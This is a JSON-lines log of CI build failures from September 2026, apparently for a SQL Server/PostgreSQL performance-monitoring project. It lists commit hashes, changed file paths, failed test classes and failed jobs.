+{"date":"2026-09-20","head_sha":"b84ea4c86ca2634c509b3a6e9bebe2f691974e9b","event":"pull_request","changed_files":["CONTRIBUTING.md","Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs","Darling/Darling.Tests/McpPlanAnalysisEnvelopeTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Lite.Tests/McpDescriptionTruthPinTests.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpPlanTools.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactScorer.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","deprecated/Dashboard.Tests/FactScorerTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.TimeHonestyRungReadTests"],"failed_jobs":["build"]}
+{"date":"2026-09-20","head_sha":"4f8499a944bf3a542da30625e84a6c99cdd18bf4","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs","Darling/Darling.Tests/QueryStoreClutterTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreClutterReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/QueryStoreClutter.cs","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.QsCaptureModeRouteKnobToastRungTests","PerformanceMonitorLite.Tests.TimeHonestyRungReadTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-20","head_sha":"20215a40ebee87fc3f85010519633909bcdec0dd","event":"push","changed_files":["CONTRIBUTING.md","Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs","Darling/Darling.Tests/McpPlanAnalysisEnvelopeTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Lite.Tests/McpDescriptionTruthPinTests.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpPlanTools.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactScorer.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","deprecated/Dashboard.Tests/FactScorerTests.cs"],"failed_classes":["Darling.Tests.QsCaptureModeRouteKnobToastRungTests","PerformanceMonitorLite.Tests.TimeHonestyRungReadTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-20","head_sha":"4a3f52389e78a2f0b12110625d80c28a4fb290bb","event":"pull_request","changed_files":["Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.TimeHonestyRungReadTests"],"failed_jobs":["build"]}
+{"date":"2026-09-20","head_sha":"35add29023357fdc4f350d96bb6688290a7887c5","event":"pull_request","changed_files":["Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Lite.Tests/AlertSeverityTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AlertSeverity.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-20","head_sha":"87a03565941bff9b73529cc875c17fe771bd724e","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisSinglesDigestTests.cs","Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs","Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs","Darling/Darling.Tests/SelfDiskWarnGbFloorRungTests.cs","Darling/Darling.Tests/UncorroboratedRouteStoreKnobTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFileLevelAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertSettings.cs","Darling/README.md","Lite.Tests/McpAlertSettingsKeyTests.cs","Lite/Mcp/McpAlertTools.cs"],"failed_classes":["Lite.Tests.McpAlertSettingsKeyTests"],"failed_jobs":["build"]}
+{"date":"2026-09-20","head_sha":"f2c1294ae3bc617c55568fbafd3d2de89046ff17","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/FactSourceRegistryTests.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs","Darling/Darling.Tests/PgTargetCollectionCaveatsLiveTests.cs","Darling/Darling.Tests/PgTargetFactCollectorTests.cs","Darling/Darling.Tests/PgTargetGrowthLiveTests.cs","Darling/Darling.Tests/PgTargetGrowthTests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/Baselines/MetricNames.cs","PerformanceMonitor.Analysis/FactScorer.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs","PerformanceMonitor.Analysis/PgTargetAdvice.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Growth.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs","PerformanceMonitor.Analysis/PgTargetScorer.cs"],"failed_classes":["Darling.Tests.PgTargetGrowthTests","Darling.Tests.SerialLoopStoreSizeSourceTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-20","head_sha":"129a9265845265a1e02f9632e3f092da0e0606e3","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Lite.Tests/AlertSeverityTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AlertSeverity.cs"],"failed_classes":["Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-20","head_sha":"f19a97d0411b2ca912a067092de521f2364032ed","event":"push","changed_files":["Darling/Darling.Tests/DarlingMcpPgPercentDenominatorTests.cs","Darling/Darling.Tests/DarlingPgDatabaseReaderTests.cs","Darling/Darling.Tests/PgAutovacuumDisabledSpellingLiveTests.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/PgNumbackendsAndSampledMsRungTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV3Tests.cs","Darling/Darling.Tests/PgTargetBloatTests.cs","Darling/Darling.Tests/PgTargetKernelTests.cs","Darling/Darling.Tests/PgTargetMemoryTests.cs","Darling/Darling.Tests/PgTargetReplicationTests.cs","Darling/Darling.Tests/PgTargetSampledWaitTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/Darling.Tests/PgTargetTempTests.cs","Darling/Darling.Tests/PgTargetV3PlumbingTests.cs","Darling/Darling.Tests/PgTargetVacuumLiveTests.cs","Darling/Darling.Tests/PgTargetVacuumTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Plans.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Plans.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDatabaseTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgDatabaseReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Darling/README.md","Lite.Tests/PgAutovacuumStatsCollectorDefinitionTests.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Bloat.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Vacuum.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Query.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Collectors/PgAutovacuumStatsCollector.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-21","head_sha":"477e9ac503c870b827f8c4f22fe11b4fb880f878","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisSinglesDigestTests.cs","Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs","Darling/Darling.Tests/SelfDiskWarnGbFloorRungTests.cs","Darling/Darling.Tests/UncorroboratedRouteStoreKnobTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFileLevelAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertSettings.cs","Darling/README.md","Lite.Tests/McpAlertSettingsKeyTests.cs","Lite/Mcp/McpAlertTools.cs"],"failed_classes":["Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-21","head_sha":"5c2c7289820c4e4f7ed34296c3f185f69409c21d","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetQueriesTests.cs","Darling/Darling.Tests/PgTargetSeqScanTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Queries.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Queries.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Query.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Queries.cs"],"failed_classes":["Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-21","head_sha":"948bde86693cbbcd3c1768fbab37a95e9c0c51c5","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/FactSourceRegistryTests.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs","Darling/Darling.Tests/PgTargetCollectionCaveatsLiveTests.cs","Darling/Darling.Tests/PgTargetFactCollectorTests.cs","Darling/Darling.Tests/PgTargetGrowthLiveTests.cs","Darling/Darling.Tests/PgTargetGrowthTests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/Baselines/MetricNames.cs","PerformanceMonitor.Analysis/FactScorer.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs","PerformanceMonitor.Analysis/PgTargetAdvice.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Growth.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs","PerformanceMonitor.Analysis/PgTargetScorer.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests","Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-21","head_sha":"b067397d9de9c2c8894a7d298ae443225929bdb4","event":"push","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/FactSourceRegistryTests.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs","Darling/Darling.Tests/PgTargetCollectionCaveatsLiveTests.cs","Darling/Darling.Tests/PgTargetFactCollectorTests.cs","Darling/Darling.Tests/PgTargetGrowthLiveTests.cs","Darling/Darling.Tests/PgTargetGrowthTests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Growth.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/Baselines/MetricNames.cs","PerformanceMonitor.Analysis/FactScorer.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs","PerformanceMonitor.Analysis/PgTargetAdvice.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Growth.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs","PerformanceMonitor.Analysis/PgTargetScorer.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests","Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-21","head_sha":"c9b95b611cf73d1b36631a0b623e12fd88e2dc6b","event":"pull_request","changed_files":["Darling/Darling.Tests/PgStatementStatsInfoGateLiveTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/PgStatementStatsFlavorTests.cs","PerformanceMonitor.Collectors/PgExtensionDependency.cs","PerformanceMonitor.Collectors/PgStatementStatsCollector.cs"],"failed_classes":["Darling.Tests.DatabaseMismatchTripwireTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-21","head_sha":"92be623256b979e1fb3910ef375c6254beb702b2","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionOutputBesideCostTests.cs","Darling/Darling.Tests/FleetCollectionHealthMemoTests.cs","Darling/Darling.Tests/RegressedFromProductiveTests.cs","Darling/Darling.Tests/UnmeasuredMetricsAreNotHealthyTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Lite.Tests/RegressedFromProductiveTests.cs","Lite/Mcp/McpHealthTools.cs","Lite/Services/LocalDataService.CollectionHealth.cs","PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.RepoFileAdoptionTests","Darling.Tests.StoreToastAndCheckpointerLivePostgresTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-21","head_sha":"113ccbc9eb8019e534a8c97a826890e4a3dae18b","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs","Darling/Darling.Tests/QueryStoreClutterTests.cs","Darling/Darling.Tests/QueryStoreClutterViewerSurfacesTests.cs","Darling/Darling.Tests/packages.lock.json","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingQueryStoreClutterReader.cs","Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj","Darling/PerformanceMonitor.Darling.Storage/QueryStoreClutter.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreClutter.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Filters.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryStoreClutter.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json","Darling/README.md"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.QueryStoreClutterTests","Darling.Tests.RepoFileAdoptionTests","Darling.Tests.StoreToastAndCheckpointerLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-21","head_sha":"c951ca03081e8f49c0d4f59c4d1967f055a557df","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetBloatTests.cs","Darling/Darling.Tests/PgTargetReplicationTests.cs","Darling/Darling.Tests/PgTargetVacuumLiveTests.cs","Darling/Darling.Tests/PgTargetVacuumTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Vacuum.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Vacuum.cs","PerformanceMonitor.Analysis/PgTargetScorer.Vacuum.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-21","head_sha":"c8bb17645f917253c7540a4d0cb22006256e25d1","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/AlertStoredValueTests.cs","Darling/Darling.Tests/CompressionStuckConfirmReadTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/PolicyJobFamilyTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/README.md","Lite.Tests/AlertHistoryValueFormatTests.cs","Lite.Tests/AlertSeverityTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AlertSeverity.cs","docs/retention-hold-runbook.md"],"failed_classes":["Darling.Tests.AlertMasterSwitchSurfaceTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.RetentionHoldRatioKnobRungTests","PerformanceMonitorLite.Tests.AlertSeverityTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-21","head_sha":"55b2d254e5078ae2a5d963d816dd8a345d99be2c","event":"pull_request","changed_files":["Darling/Darling.Tests/RetentionHoldRatioKnobRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs"],"failed_classes":["Darling.Tests.StoreToastAndCheckpointerLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-21","head_sha":"cd34bbcb318f9378a980ca707cba20b3bf58da71","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.StatusBarSizeReadLockTests"],"failed_jobs":["build"]}
+{"date":"2026-09-21","head_sha":"914403e3b7d0d351270e592f46ad9b597691af96","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/StorySideLeafTests.cs","Lite/Analysis/FindingStore.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/AnalysisModels.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/InferenceEngine.cs","PerformanceMonitor.Analysis/StorySideLeaves.cs"],"failed_classes":["Darling.Tests.CollectionCaveatsParityTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-21","head_sha":"63c4632be69cda4d374ca7cf3b129bc5f81244ad","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingTriageEndpointTests.cs","Darling/Darling.Tests/packages.lock.json","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj"],"failed_classes":["Darling.Tests.RetentionHoldRatioKnobRungTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-21","head_sha":"965fdfca847fbe3a53f4e0cb5b528d30c36b00e9","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingTriageEndpointTests.cs","Darling/Darling.Tests/packages.lock.json","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj"],"failed_classes":["Darling.Tests.RetentionHoldRatioKnobRungTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-21","head_sha":"d03f75494ff29b0c436ca763532ab640abf60177","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreObjectConvergenceTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.CompressionEnableGuardLiveTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-22","head_sha":"6200b3bbe2a0ed5d0ef45217d174462ac543269f","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/AlertReadRetrySeamTests.cs","Darling/Darling.Tests/CaptureDownChunkOrderTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs"],"failed_classes":["Darling.Tests.StartupCommandTimeoutTests","Darling.Tests.TimeHonestyRungTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
